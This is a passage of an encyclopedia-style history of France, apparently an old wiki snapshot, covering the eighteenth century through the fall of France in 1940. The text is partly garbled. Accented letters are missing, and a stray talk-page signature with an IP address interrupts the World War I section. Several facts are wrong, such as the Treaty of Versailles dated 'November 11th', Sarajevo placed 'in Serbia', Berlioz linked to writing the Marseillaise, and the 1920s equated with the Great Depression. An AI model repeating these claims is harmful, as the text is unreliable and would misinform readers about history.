Meadows and Monongahela, French forces were defeated at the disastrous Battle of the Plains of Abraham in Quebec. In Europe, Russia was on the verge of crushing Prussia, and the Anglo-Prussian alliance was saved by The miracle of the House of Brandenburg, while the French suffered naval defeats against British fleets at Lagos and Quiberon Bay. Finally peace was concluded in the Treaty of Paris (1763), and France lost most of its North American empire. In 1768 the French Kingdom bought Corsica from Genoa.
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          Having lost its colonial empire, France saw a good opportunity for revenge against Britain in assisting insurgeant troops in the American Revolutionary War. Spain, allied to France by the Family Compact, and the Netherlands also joined the war on the American side. Admiral de Grasse defeated a British fleet at Chesapeake Bay while Jean-Baptiste Donatien de Vimeur, comte de Rochambeau and Gilbert du Motier, marquis de La Fayette joined American forces in defeating the British at Yorktown. The war was concluded by the Treaty of Paris (1783), under which Britain lost its former American colonies.


          While the state expanded, new ideas broke on the role of the king and the powers of the state. Charles de Secondat, baron de Montesquieu described the separation of powers. Many French other philosophers and intellectuals gained influence, such as: Voltaire, Denis Diderot and, most importantly, Jean-Jacques Rousseau with his The Social Contract, Or Principles of Political Right. Science, mathematics and technology also flourished. French scientists such as Antoine Lavoisier worked to replace the archaic units of weights and measures by a coherent scientific system, commissioned by king Louis XVI. Lavoisier also formulated the law of Conservation of mass and discovered Oxygen and Hydrogen.


          The Early Modern period in French history spans the following reigns:


          
            	House of Valois

              
                	Louis XI the Prudent


                	Charles VIII the Affable


                	Louis XII


                	Francis I


                	Henry II and Catherine de' Medici


                	Francis II


                	Charles IX


                	Henry III

              

            


            	House of Bourbon

              
                	Henry IV the Great


                	the Regency of Marie de Medici


                	Louis XIII the Just and his minister Cardinal Richelieu


                	the Regency of Anne of Austria and her minister Cardinal Mazarin


                	Louis XIV the Sun-King and his minister Jean-Baptiste Colbert


                	the Rgence of Philip II of Orleans


                	Louis XV the Beloved and his minister Cardinal Fleury


                	Louis XVI

              

            

          


          See also:
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          France in modern times I (17891914)


          From the Revolution to World War I.


          


          The Revolution
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          The immediate trigger for the Revolution was Louis XVIs attempts to solve the governments worsening financial situation. In February 1787 his finance minister, Lomnie de Brienne, convened an Assembly of Notables, a group of nobles, clergy, bourgeoisie, and bureaucrats selected in order to bypass the parlements. This group was asked to approve a new land tax that would, for the first time, include a tax on the property of nobles and clergy. The assembly did not approve the tax, instead demanding that Louis XVI call the Estates-General. In August 1788 the King agreed to convene the Estates-General in May of 1789. During their first meetings, however, there was little representation from the other two Estates (clergy and nobles). On June 10, 1789, the Abbot Sieys moved that the Third Estate proceed with verification of its own powers and invite the other two estates to take part, but not to wait for them. They proceeded to do so, and then voted a measure far more radical, declaring themselves the National Assembly, an assembly not of the Estates but of "the People." In an attempt to keep control of the process and prevent the Assembly from convening, Louis XVI ordered the closure of the Salle des tats where the Assembly met. After finding the door to their chamber locked and guarded, they met nearby on a tennis court and pledged the Tennis Court Oath on June 20, 1789, binding them "never to separate, and to meet wherever circumstances demand, until the constitution of the kingdom is established and affirmed on solid foundations". They were joined by some members of the second and first estates.


          After the king fired his finance minister, Jacques Necker, for giving his support and guidance to the Third Estate, worries surfaced that the legitimacy of the newly-formed National Assembly might be threatened by royalists. Paris was soon consumed with riots, anarchy, and widespread looting. The mobs soon had the support of the French Guard, including arms and trained soldiers, because the royal leadership essentially abandoned the city. On July 14, 1789 the insurgents set their eyes on the large weapons and ammunition cache inside the Bastille fortress, which also served as a symbol of royal tyranny. Insurgents seized the Bastille prison, killing the governor and several of his guards. The French now celebrate July 14th each year as a symbol of the shift away from the Ancien Regime to a more modern democratic state. Gilbert du Motier, hero of American independence, took command of the National Guard, and the king was forced to recognize the Tricolour Cockade. Although peace was found, several nobles did not regard the new order as acceptable and migrated to push neighbouring kingdoms to war against the new rule. Because of this new period of instability, the state was struck for several weeks in July and August of 1789 by the Great Fear, a period of violent class conflict.


          The Declaration of the Rights of Man and Citizen was adopted by the National Assembly in August 1789 as a first step in their effort to write a constitution. Considered to be a precursor to modern international rights instruments and using the U.S. Declaration of Independence as a model, it defined a set of individual rights and collective rights of all of the estates as one. Influenced by the doctrine of natural rights, these rights were deemed universal and valid in all times and places, pertaining to human nature itself. The Assembly also replaced France's historic provinces with eighty-three dpartements, uniformly administered and approximately equal to one another in extent and population. On 4 August 1789 the Assembly abolished feudalism, in what is known as the August Decrees, sweeping away both the seigneurial rights of the Second Estate and the tithes gathered by the First Estate. In the course of a few hours, nobles, clergy, towns, provinces, companies, and cities lost their special privileges. The Assembly abolished the symbolic paraphernalia of the Ancien Rgime, armorial bearings, liveries, etc., which alienated the more conservative nobles. Amidst these intrigues, the Assembly continued to work on developing a constitution. A new judicial organization made all magistracies temporary and independent of the throne. The legislators abolished hereditary offices, except for the monarchy itself. Jury trials started for criminal cases. The King would have the unique power to propose war, with the legislature then deciding whether to declare war. The Assembly abolished all internal trade barriers and suppressed guilds, masterships, and workers' organizations: any individual gained the right to practice a trade through the purchase of a license; strikes became illegal.


          The Revolution brought about a massive shifting of powers from the Roman Catholic Church to the state. Under the Ancien Rgime, the Church had been the largest landowner in the country. Legislation enacted in 1790 abolished the Church's authority to levy a tax on crops, cancelled special privileges for the clergy, and confiscated Church property. The Assembly essentially addressed the financial crisis in part by having the nation take over the property of the Church.


          The republican government also enforced the Systme International d'Units, commissioned by Louis XVI, which became known as the Metric System. Charles-Augustin de Coulomb and Andr-Marie Ampre's works on electricity and electromagnetism were also recognised, and their units are integrated into the Metric System.


          When a mob from Paris attacked the royal palace at Versailles in October 1789 seeking address of severe poverty conditions, the royal family was forced to move to the Tuileries Palace in Paris. Later in June 1791 the royal family secretly fled Paris in disguise for Varennes near France's northeastern border to seek royalist support the king sensed he could trust, but they were soon discovered en route. They were brought back to Paris, after which they were essentially kept under house-arrest at the Tuileries.


          Factions within the Assembly began to clarify. The opposition to revolution sat on the right-hand side of the Assembly. The "Royalist democrats" or monarchiens inclined toward organizing France along lines similar to the British constitutional model. The "National Party", representing the centre or centre-left of the assembly represented somewhat more extreme views. The increasingly middle-class National Guard under Lafayette also slowly emerged as a power in its own right. With most of the Assembly still favoring a constitutional monarchy rather than a republic, the various groupings reached a compromise that left Louis XVI little more than a figurehead. He had perforce to swear an oath to the constitution, and a decree declared that retracting the oath, heading an army for the purpose of making war upon the nation, or permitting anyone to do so in his name would amount to de facto abdication. Under the Constitution of 1791, France would function as a constitutional monarchy. The King had to share power with the elected Legislative Assembly, but he still retained his royal veto and the ability to select ministers.


          The Legislative Assembly first met on 1 October 1791, and degenerated into chaos less than a year later. The Legislative Assembly consisted of about 165 Feuillants (constitutional monarchists) on the right, about 330 Girondists (liberal republicans) and Jacobins (radical revolutionaries) on the left, and about 250 deputies unaffiliated with either faction. Early on, the King vetoed legislation that threatened the migrs with death and that decreed that every non-juring clergyman must take within eight days the civic oath mandated by the Civil Constitution of the Clergy. Over the course of a year, disagreements like this would lead to a constitutional crisis, leading the Revolution to higher levels.


          On the foreign affairs front, in the Declaration of Pillnitz of August 1791 Emperor Leopold II, Count Charles of Artois and King William II of Prussia made Louis XVI's cause theirs. These noblemen also required the Assembly to be dissolved through threats of war, but, instead of cowing the French, it infuriated them. The borderlines were militarised as a consequence. Under the Constitution of 1791 the solution of a constitutional monarchy was adopted, and the king supported a war against Austria to increase his popularity, starting the long French Revolutionary Wars. On the night of the 10th of August the Jacobins, who had mainly opposed the war, suspended the monarchy. With the Prussian army entering France, more doubts were raised against the aristocracy, and these tensions climaxed during the September Massacres. After the first great victory of the French revolutionary troops at the Battle of Valmy on 1792 September 20, the French First Republic was proclaimed the day after on 1792 September 21. The French Republican Calendar was enforced.


          When the Brunswick Manifesto of July 1792 threatened once more the French population from Austrian (Imperial) and Prussian attacks, Louis XVI was suspected of treason and taken along with his family from the Tuileries Palace in August 1792 by insurgents supported by a new revolutionary Paris Commune. The King and Queen ended up prisoners, and a rump session of the Legislative Assembly suspended the monarchy. Little more than a third of the deputies were present, almost all of them Jacobins. The King was later tried and convicted and on 21 January 1793 was guillotined. Marie Antoinette, would follow him to the guillotine on 16 October.


          What remained of a national government depended on the support of the insurrectionary Commune. When the Commune sent gangs into prisons to try arbitrarily and butcher 1400 victims, and addressed a circular letter to the other cities of France inviting them to follow this example, the Assembly could offer only feeble resistance. This situation persisted until a National Convention, charged with writing a new constitution, met on 20 September 1792 and became the new de facto government of France. The next day it abolished the monarchy and declared a republic.


          When war went badly, prices rose and the sans-culottes (poor labourers and radical Jacobins) rioted; counter-revolutionary activities began in some regions. This encouraged the Jacobins to seize power through a parliamentary coup, backed up by force effected by mobilising public support against the Girondist faction, and by utilising the mob power of the Parisian sans-culottes. An alliance of Jacobin and sans-culottes elements thus became the effective centre of the new government. Policy became considerably more radical. In September of 1793 a period known as the Reign of Terror ensued for approximately 12 months. The Committee of Public Safety, set up by the National Convention on April 6, 1793, formed the de facto executive government of France. Under war conditions and with national survival seemingly at stake, the Jacobins under Robespierre centralized denunciations, trials, and executions under the supervision of this committee of twelve members. At least 18,000 people met their deaths under the guillotine or otherwise, after accusations of counter-revolutionary activities. In 1794 Robespierre had ultra-radicals and moderate Jacobins executed; in consequence, however, his own popular support eroded markedly. On 27 July 1794, the Thermidorian Reaction led to the arrest and execution of Robespierre. The new government was predominantly made up of Girondists who had survived the Terror, and after taking power, they took revenge as well by banning the Jacobin Club and executing many of its former members in what was known as the White Terror.


          After the stated aim of the National Convention to export revolution, the guillotining of Louis XVI of France, and the French opening of the Scheldt, a military coalition was formed and set up against France. Spain, Naples, Great Britain and the Netherlands joined Austria and Prussia in the The First Coalition (17921797), the first major concerted effort of multiple European powers to contain Revolutionary France. It took shape after the wars had already begun. The Republican government in Paris was radicalised after a diplomatic coup from the Jacobins and said it would be the Guerre Totale and called for a Leve en masse. Royalist invading forces were defeated at Toulon in 1793, leaving the French republican forces in an offensive position and granting a young officer, Napoleon Bonaparte, a certain fame. Following their victory at Fleurus, the Republicans occupied Belgium and the Rhineland. An invasion of the Netherlands established the puppet Batavian Republic. Finally a peace agreement was found between France, Spain and Prussia in 1795 at Basel.


          The Convention approved a new "Constitution of the Year III" on 17 August 1795; a plebiscite ratified it in September; and it took effect on 26 September 1795. The new constitution created the Directory and created the first bicameral legislature in French history. The parliament consisted of 500 representatives  le Conseil des Cinq-Cents (the Council of the Five Hundred)  and 250 senators  le Conseil des Anciens (the Council of Elders). Executive power went to five "directors," named annually by the Conseil des Anciens from a list submitted by the le Conseil des Cinq-Cents. The nation desired rest and the healing of its many wounds. Those who wished to restore Louis XVIII and the Ancien Rgime and those who would have renewed the Reign of Terror were insignificant in number. The possibility of foreign interference had vanished with the failure of the First Coalition. Nevertheless, the four years of the Directory were a time of arbitrary government and chronic disquiet. The late atrocities had made confidence or goodwill between parties impossible. As the majority of French people wanted to be rid of them, they could achieve their purpose only by extraordinary means. The Convention habitually disregarded the terms of the constitution, and, when the elections went against them, appealed to the sword. They resolved to prolong the war as the best expedient for prolonging their power. They were thus driven to rely upon the armies, which also desired war and were becoming less and less civic in temper. The Directory lasted until 1799 when Napoleon staged a coup and installed the Consulate.


          


          The Napoleonic Era
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          During the War of the First Coalition the Directoire had replaced the National Convention. Five directors then ruled France. As Great Britain was still at war with France, a plan was made to take Egypt from the Ottoman Empire, a British ally. This was Napoleon's idea and the Directoire agreed to the plan in order to send the popular general away from the mainland. Napoleon captured Malta from the Knights of Saint John on the way to Egypt. The French army met Ottoman forces during the Battle of the Pyramids and defeated them. While the land campaign was so far a success, the British fleet, led by Admiral Nelson, destroyed the French fleet at the Battle of the Nile. Hearing of the French defeat, the Ottoman Empire gathered armies to attack Napoleon in Egypt, and Napoleon again adopted a policy of attack. An invasion of Syria was planned but failed during the Siege of Acre, and Napoleon had to return to Europe, leaving a significant part of his army behind. These men were supposed to be given honourable terms by the British forces, yet Admiral Keith decided to attack them anyway with a Mameluk force, although this force was defeated at Heliopolis in March 1800. Disease had hit the French troops to such a point they were forced to surrender. The Rosetta Stone was discovered during this campaign and Champollion translated it.


          When Napoleon came back to France, the Directoire was threatened by the Second Coalition. Royalists and their allies still dreamed of restoring the monarchy to power, while the Prussian and Austrian crowns did not accept their territorial losses during the previous war. The Russian army expelled the French from Italy in battles such as Cassano while the Austrian army defeated the French in Switzerland at Stockach and Zurich. Napoleon then seized power through a coup and established the Consulate in 1799. The Austrian army was defeated at Marengo in 1800 and again at Hohenlinden. While at sea Admiral Louis-Ren Levassor de Latouche Trville had some success at Boulogne against a British fleet. The British Admiral Nelson would destroy an anchored Danish and Norwegian fleet at Copenhagen because the Scandinanian kingdoms were against the British blockade on France. The Second Coalition was beaten and peace was settled in two distinct treaties: The Treaty of Lunville and the Treaty of Amiens. In 1803 Napoleon sold French Louisiana to the American government, a territory he considered indefensible.


          On 21 March 1804 the Napoleonic Code was applied over all the territory under French control, and on May 18 Napoleon was titled Emperor by the senate, thus founding the French Empire. Technically Napoleon's rule was constitutional, and although autocratic, it was much more advanced than other European monarchies of the time. The proclamation of the French Empire was met by the Third Coalition. The French army was renamed the Grande Arme in 1805 and Napoleon used propaganda and nationalism to control the French population. The French army achieved a resounding victory at Ulm, where an entire Austrian army was captured. A Franco-Spanish fleet was defeated at Trafalgar and all plans to invade Britain were then made impossible. Despite this naval defeat, it was on the ground that this war would be won, Napoleon inflicted the Austrian and Russian Empires one of their greatest defeats at Austerlitz, destroying the third coalition. The peace was settled in the Treaty of Pressburg, the Austrian Empire lost the title of Holy Roman Emperor and the Confederation of the Rhine was created by Napoleon over former Austrian territories.


          The destruction of the Holy Roman Empire and the dramatic Austrian defeat caused Prussia to join Britain and Russia, thus forming the Fourth Coalition. Although the Coalition was joined by other allies, the French Empire was also not alone since it now had a complex network of allies and submitted states. Largely outnumbered, the Prussian army was crushed at Jena-Auerstedt in 1806, Napoleon captured Berlin and went as far as Eastern Prussia. There the Russian Empire was defeated at the Battle of Friedland. Peace was dictated in the Treaties of Tilsit, in which Russia had to join the Continental System and Prussia handed down half of its territories to France. The Duchy of Warsaw was formed over these territorial losses, and the Polish troops entered the Grande Arme in significant numbers.
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          Freed from his obligation in the east, Napoleon then went back to the west, as the French Empire was still at war with Britain. Only two countries remained neutral in the war: Sweden and Portugal, and Napoleon then looked toward the latter. In the Treaty of Fontainebleau, a Franco-Spanish alliance against Portugal was sealed as Spain eyed Portuguese territories. French armies entered Spain in order to attack Portugal, but then seized Spanish fortresses and took over the kingdom by surprise. Joseph Bonaparte, Napoleon's brother, was made King of Spain after Charles IV's abdication. This occupation of the Iberian peninsula fueled local nationalism, and soon the Spanish and Portuguese would fight the French using guerilla tactics, defeating the French forces at the Battle of Bailn. Britain sent a short-lived ground support force to Portugal, and French forces evacuated Portugal as defined in the Convention of Sintra following the Allied victory at Vimeiro. France was only controlling Catalonia and Navarre and could have been definitely expelled from the Iberian peninsula had the Spanish armies attacked again, but the Spanish did not. Another French attack was launched on Spain, led by Napoleon himself, and was described as "an avalanche of fire and steel." However, the French Empire was no longer regarded as invincible by European powers. In 1808 Austria formed the War of the Fifth Coalition in order to break down the French Empire. The Austrian Empire defeated the French at Aspern-Essling, yet was beaten at Wagram while the Polish allies defeated the Austrian Empire at Raszyn. Although not as decisive as the previous Austrian defeats, the peace treaty caused Austria to lose a large amount of territories, reducing it even more.
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          In 1812 it was with Russia that war broke, engaging Napoleon in the disastrous Patriotic War. Napoleon assembled the largest army Europe had ever seen, including troops from all submitted states, to invade Russia, which had just left the continental system and was gathering an army on the Polish frontier. Following an exhausting march and the bloody but inconclusive Battle of Borodino, near Moscow, the Grande Arme entered and captured Moscow, just to find it burning, as part of the Russian scorched earth tactics. Although there still were battles such as Maloyaroslavets the Napoleonic army left Russia decimated most of all by the Russian winter, exhaustion and scorched earth warfare. On the Spanish front the French troops were defeated at Vitoria and then at the Battle of the Pyrenees. Since the Spanish guerrillas seemed to be uncontrollable, the French troops eventually evacuated Spain. France having been defeated on these two fronts, the states controlled and previously conquered by Napoleon saw a good opportunity to strike back. The Sixth Coalition was formed and the German states of the Confederation of the Rhine switched sides, finally opposing Napoleon. Napoleon was largely defeated in the Battle of the Nations and was overwhelmed by much larger armies during the Six Days Campaign, although, because of the much larger amount of casualties suffered by the allies, the Six Days Campaign is often considered a tactical masterpiece.


          Napoleon abdicated on April 6, 1814, and was exiled to Elba. The conservative Congress of Vienna reversed the political changes that had occurred during the wars. Napoleon's attempted restoration, a period known as the Hundred Days, ended with his final defeat at Waterloo in 1815. The monarchy was subsequently restored and Louis XVIII became king.


          


          The Restored Monarchy and the Second Empire


          
            [image: Napoleon III, Emperor of the French]

            
              Napoleon III, Emperor of the French
            

          


          This period of time is called the Bourbon Restoration and was marked by conflicts between reactionary Ultra-royalists and more liberal movements. On 12 June 1830 Polignac, King Charles X's minister, exploited the weakness of the Algerian Dey by invading Algeria and establishing French rule in Algeria. The news of the fall of Algiers had barely reached Paris when Charles X was deposed and replaced by King Louis-Philippe during the July Revolution. Louis-Philippe's "July Monarchy" (18301848) is generally seen as a period during which the haute bourgeoisie was dominant. Anarchism, as formulated by Pierre-Joseph Proudhon, began to take root in France. To honour the victims of the July Revolution, Hector Berlioz composed a Requiem; he also worked on what would become the French national anthem, La Marseillaise.


          In 1838 the French government declared war on Mexico after a French pastry cook in Mexico accused Mexican officers of looting his shop. The Mexican government was defeated in the short Pastry War. Finally, the last King of France abdicated, and the French Second Republic was proclaimed. Louis Napoleon Bonaparte was elected president and proclaimed himself President for Life following a coup that was confirmed and accepted in a dubious referendum. Napoleon III of France took the imperial title in 1852 and held it until his downfall in 1870.


          The era saw great industrialization, urbanization (including the massive rebuilding of Paris by Baron Haussmann) and economic growth, but Napoleon III's foreign policies were not so successful. In 1854, The Second Empire joined the Crimean War, which saw France and Britain opposed to the Russian Empire, who were decisively defeated at Sevastopol in 1855 and at Inkerman. In 1856 France joined the Second Opium War on the British side against China; a missionary's murder was used as a pretext to take interests in southwest Asia in the Treaty of Tientsin.


          In 1859 the Second Italian War of Independence broke out between Italian states and Austria. The Second French Empire joined the war on the Italian side, which was concluded by an Austrian defeat at Solferino. In return for this intervention, the French government acquired the city of Nice, while in March 1860 Savoy was annexed by similar means. In 1861 Napoleon III largely supported Maximilian in his claim to Mexico, a move that was also supported by Britain and Spain but condemned by the U.S. This led to the French intervention in Mexico, which turned out to be a failure.


          When France was negotiating with The Netherlands about purchasing Luxembourg, the Prussian Kingdom threatened the French government with war. This came as a shock to French diplomats as there previously was an agreement between the Prussian and French governments about Luxembourg. Napoleon III suffered stronger and stronger criticism from Republicans like Jules Favre, and his position seemed more fragile with the passage of time. France was looking for more interests in Asia and interfered in Korea in 1866 taking, once again, missionaries' murders as a pretext. The French finally withdrew from the war with little gain but war's booty. The next year a French expedition to Japan was formed to help the Tokugawa shogunate to modernise its army. However, Tokugawa was defeated during the Boshin War at the Battle of Toba-Fushimi by large Imperial armies.


          Rising tensions about a possible Prussian succession in Spain raised the scale of animosity between the two states, and finally the Franco-Prussian War (1870-1871) broke out. German nationalism united the German states, with the exception of Austria, against Napoleon III. The French Empire was defeated decisively at Metz and Sedan. The last straw was the Siege of Paris. The newly-formed German Empire subsequently annexed Alsace-Lorraine in the Treaty of Frankfurt.


          


          The Third Republic and the Belle Epoque


          The French legislature established the Third Republic, which was to last until the military defeat of 1940 (longer than any government in France since the Revolution). The birth of the republic saw France occupied by foreign troops, the capital in a popular socialist insurrection  the Paris Commune (which was violently repressed by Adolphe Thiers)  and two provinces ( Alsace-Lorraine) annexed to Germany. Feelings of national guilt and a desire for vengeance (" revanchism") would be major preoccupations of the French throughout the next half century. The repression of the Commune was bloody. Hundreds were executed in front of the Communards' Wall in the Pre Lachaise cemetery, while thousands of others were marched to Versailles for trials. The number killed during La Semaine Sanglante (The Bloody Week) can never be established for certain, but the best estimates are 30,000 dead, many more wounded, and perhaps as many as 50,000 later executed or imprisoned; 7,000 were exiled to New Caledonia. Thousands of them fled to Belgium, England, Italy, Spain and the United States.


          Besides this defeat, the Republican movement also had to confront counterrevolutionaries who rejected the legacy of the 1789 Revolution. Both the Legitimist and the Orleanist royalists rejected republicanism, which they saw as an extension of modernity and atheism, breaking with France's traditions. This lasted until at least the 16 May 1877 crisis, which finally led to the resignation of royalist Marshal MacMahon in January 1879. The death of Henri, comte de Chambord in 1883, who, as the grandson of Charles X, had refused to abandon the fleur-de-lys and the white flag, thus jeopardizing the alliance between Legitimists and Orleanists, convinced many of the remaining Orleanists to rally themselves to the Republic, as Adolphe Thiers had already done. The vast majority of the Legitimists abandoned the political arena or became marginalised. Some of them founded Action Franaise in 1898, during the Dreyfus Affair, which became an influent movement through-out the 1930s, in particular among the intellectuals of Paris' Quartier Latin. In 1891, Pope Leo XIII's encyclic Rerum Novarum brought legitimacy to the Social Catholic movement, which in France could be traced back to Hughes Felicit Robert de Lamennais' efforts under the July Monarchy.


          The initial republic was in effect led by pro-royalists, but republicans (the " Radicals") and bonapartists scrambled for power. The period from 18791899 saw power come into the hands of moderate republicans and former "radicals" (around Lon Gambetta); these were called the "Opportunists". The newly found Republican control of the Republic allowed the vote of the 1881 and 1882 Jules Ferry laws on a free, mandatory and laic public education.


          The moderates however became deeply divided over the Dreyfus Affair, and this allowed the Radicals eventually to gain power from 1899 until World War I. During this period, crises like the potential "Boulangist" coup d'tat (see Georges Boulanger) in 1889, showed the fragility of the republic. The Radicals' policies on education (suppression of local languages, compulsory education), mandatory military service, and control of the working classes eliminated internal dissent and regionalisms. Their participation in the Scramble for Africa and in the acquiring of overseas possessions (such as French Indochina) created myths of French greatness. Both of these processes transformed a country of regionalisms into a modern nation state. Conflicts between the Chinese Emperor and the French Republic over Indochina climaxed during the Sino-French War, Admiral Courbet destroyed the Chinese fleet anchored at Foochow. French sovereignty over Tonkin and Annam was confirmed.


          In an effort to isolate Germany, France went to great pains to woo Russia and the United Kingdom to its side, first by means of the Franco-Russian Alliance of 1894, the 1904 Entente Cordiale with the U.K, and finally, with the signing of the Anglo-Russian Entente in 1907 which became the Triple Entente and eventually led Russia and the U.K. to enter World War I as Allies. France still had interests in Asia and looked for alliances and found in Japan a possible ally. During his visit to France, Iwakura Tomomi asked for French assistance in reforming Japan. French military missions were sent to Japan in 1872-1880, in 1884-1889 and the last one much later in 1918-1919 to help modernize the Japanese army.


          Distrust of Germany, faith in the army and native French anti-semitism combined to make the Dreyfus Affair (the unjust trial and condemnation of a Jewish military officer for treason) a political scandal of the utmost gravity. The nation was divided between "dreyfusards" and "anti-dreyfusards," and far-right Catholic agitators inflamed the situation even when proofs of Dreyfus' innocence came to light. The writer Emile Zola published an impassioned editorial on the injustice, and was himself condemned by the government for libel. Once Dreyfus was finally pardoned, the progressive legislature enacted the 1905 laws on lacit, which created a complete separation of church and state and stripped churches of most of their property rights.
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          The period at the end of the 19th and the beginning of the 20th century is often termed the belle poque. Although associated with cultural innovations and popular amusements (cabaret, can-can, the cinema, new art forms such as Impressionism and Art Nouveau), France was nevertheless a nation divided internally on notions of religion, class, regionalisms and money, and on the international front France came repeatedly to the brink of war with the other imperial powers, including Great Britain (the Fashoda Incident). World War I was inevitable, but its human and financial costs would be catastrophic for the French.


          In 1889 the Exposition Universelle took place in Paris, and the Eiffel Tower was built as a temporary gate to the fair. Meant to last only a few decades, the tower was never removed and became France's most iconic landmark.
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          France in modern times II (1914-today)


          


          World War I


          On June 28, 1914 a Bosnian member of the Black Hand assassinated Archduke Franz Ferdinand, heir to the Austria-Hungary throne, in Sarajevo, the capital of the Austrian province of Bosnia in Serbia. This event ultimately triggered a complex set of formal and secret military alliances between European states, causing most of the continent, including France, to be drawn into war within a few short weeks. Austria-Hungary declared war on Serbia in late July, triggering Russian mobilization. On August 1st both Germany and France ordered mobilization. Germany was much better prepared militarily than any of the other countries involved, including France. Later on that day the German Empire, as an ally of Austria, declared war on Russia, when it heard no response to its request for Russia's demobilization. France was allied with Russia and Serbia and so was ready to commit to war against the German Empire. Germany occupied Luxembourg on August 2nd and gave neutral Belgium an ultimatum: let German armies pass through on their way to invade France or face invasion itself. The Belgians refused, so Germany invaded and declared war on France. Britain entered the war on August 4th, although was relatively unprepared militarily and thus couldn't assist France much until August 7th. (See main entry for World War I for more detailed background about events leading up to France's entry into the war.)
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          The war on the Western Front was fought largely in France and characterized by extremely violent battles, often with new and more destructive military technology. Famous battles in France include First Battle of the Marne, Battle of Verdun, Battle of the Somme and the Second Battle of the Marne. Germany's plan (see Schlieffen Plan) was to defeat the French quickly and then shift from defense to offense against Russia on the Eastern Front. The Germans captured Brussels by August 20th and soon had taken over a large portion of northern France. The original plan was to continue southwest and attack Paris from the west. By early September they were within 40 miles of Paris, and the French government had relocated to Bordeaux. The Allies finally stopped the advance northeast of Paris at the Marne River. This was the farthest push west by the Germans during the entire war.


          On the Western Front the small improvised trenches of the first few months rapidly grew deeper and more complex, gradually becoming vast areas of interlocking defensive works. The land war quickly became dominated by the muddy, bloody stalemate of Trench warfare, a form of war in which both opposing armies had static lines of defense. The war of movement quickly turned into a war of position. Attack followed counterattack after counterattack. Neither side advanced much, but both sides suffered hundreds of thousands of casualties. German and Allied armies produced essentially a matched pair of trench lines from the Swiss border in the south to the North Sea coast of Belgium. Trench warfare prevailed on the Western Front from September 1914 until the Germans launched their "Spring Offensive", Operation Michael, in March 1918. The space between the opposing trenches was referred to as "no man's land" (for its lethal uncrossability) and varied in width depending on the battlefield. On the Western Front it was typically between 100 and 300 yards (90-275 m), though sometimes much less. The common infantry soldier had four weapons to use in the trenches: the rifle, bayonet, shotgun, and hand grenade.


          Britain introduced the first tanks to the war, while Renault enhanced the concept by adding a turret. The use in large quantity of these light tanks by Jean-Baptiste Estienne can be considered a decisive evolution in World War I's strategies. -- 89.242.194.251 ( talk) 18:23, 1 May 2008 (UTC) When Russia exited the war in 1917 due to revolution, the Central Powers controlled all of the Balkans and could now shift military efforts to the Western Front. The U.S. had entered the war also in 1917, so the Central Powers hoped this could be achieved mostly prior to America's delivery of military support. In March 1918 Germany launched the last major offensive on the Western Front. By May Germany had reached the Marne again, as in September 1914, and was again close to Paris. In Second Battle of the Marne, however, the Allies were able to defend and then shift to offense due in part to the fatigue of the Germans and the arrival of more Americans. The Germans were ultimately pushed back toward the German border. Other Central Power strongholds in Europe had fallen, and in early October, when a new government assumed power in Germany, it asked for an armistice.


          Peace terms were agreed upon in the Treaty of Versailles on November 11th, largely negotiated by Georges Clemenceau for French matters. Germany was required to take full responsibility for the war and to pay war reparations; and the German industrial Saarland, a coal and steel region, was occupied by France. The German African colonies were partitioned between France and Britain such as Cameroons. Alsace-Lorraine was returned to France, and the German Empire lost eastern territories such as the Danzig Corridor. Ferdinand Foch wanted a peace that would never allow Germany to be a threat to France again. After the peace was signed he said, This is not a peace. It is an armistice for 20 years. The war brought great losses of troops and resources. Fought in large part on French soil, the war led to approximately 1.4 million French dead including civilians (see World War I casualties), and four times as many casualties. From the remains of the Ottoman Empire, France acquired the Mandate of Syria and the Mandate of Lebanon.


          


          Les annes folles


          Ferdinand Foch supported Poland in the Greater Poland Uprising and in the Polish-Soviet War and France also joined Spain during the Rif War. This period of time is also called the Great Depression. Leon Blum, leading the Popular Front was elected Prime Minister from 1936 to 1937 and became the first Jew to lead France. During the Spanish Civil War he did not support the Spanish Republicans because of the French internal political context of complex alliances and risk of war with Germany and Italy. In the 1920s, France established an elaborate system of border defences (the Maginot Line) and alliances (see Little Entente) to offset resurgent German strength and in the 1930s, the massive losses of the war led many in France to choose a policy guaranteeing peace, even in the face of Hitler's violations of the Versailles treaty and (later) his demands at Munich in 1938; this would be the much maligned policy of appeasement. douard Daladier refused to go to war against Germany and Italy without British support as Neville Chamberlain wanted to save peace at Munich.


          


          World War II


          The Invasion of Poland finally caused France and Britain to declare war against Germany. But the allies did not launch massive assaults and kept a defensive stance: this was called the Phoney War in Britain or Drle de guerre - the funny sort of war - in France. It did not prevent the German army from conquering Poland in a matter of weeks with its innovative Blitzkrieg tactics. When Germany had its hands free for an attack in the west, the Battle of France began in May 1940, and the same tactics proved just as devastating there. The Wehrmacht bypassed the Maginot Line by marching through the Ardennes forest. A second German force was sent into Belgium and the Netherlands to act as a diversion to this main thrust. In six weeks of savage fighting the French lost 90,000 men. Many civilians sought refuge by taking to the roads of France: some two million refugees from Belgium and Holland were joined by between eight and ten million French civilians, representing a quarter of the French population, all heading south and west. This movement may well have been the largest single movement of civilians in history prior to 1947.


          French leaders surrendered to Nazi Germany on June 24, 1940, after the British Expeditionary Force was evacuated from Dunkirk. Nazi Germany occupied three fifths of France's territory, leaving the rest in the south east to the new Vichy government. This regime sought to collaborate with Germany. It was established on July 10, 1940. The Vichy Regime was led by Philippe Ptain, the aging war hero of First World war. It was originally intended to be a temporary, care-taker regime, to supervise French administration before the soon-expected defeat of Britain. Instead, it lasted four years and imposed a tyrannical regime on the French people. It was unique among the various collaborating regimes of wartime Europe in that it was established constitutionally, through the French parliament, and not imposed by the Nazis. However, Charles de Gaulle declared himself by radio from London the head of a rival government in exile, gathering the Free French Forces around him, finding support in some French colonies and recognition from Britain and the USA.


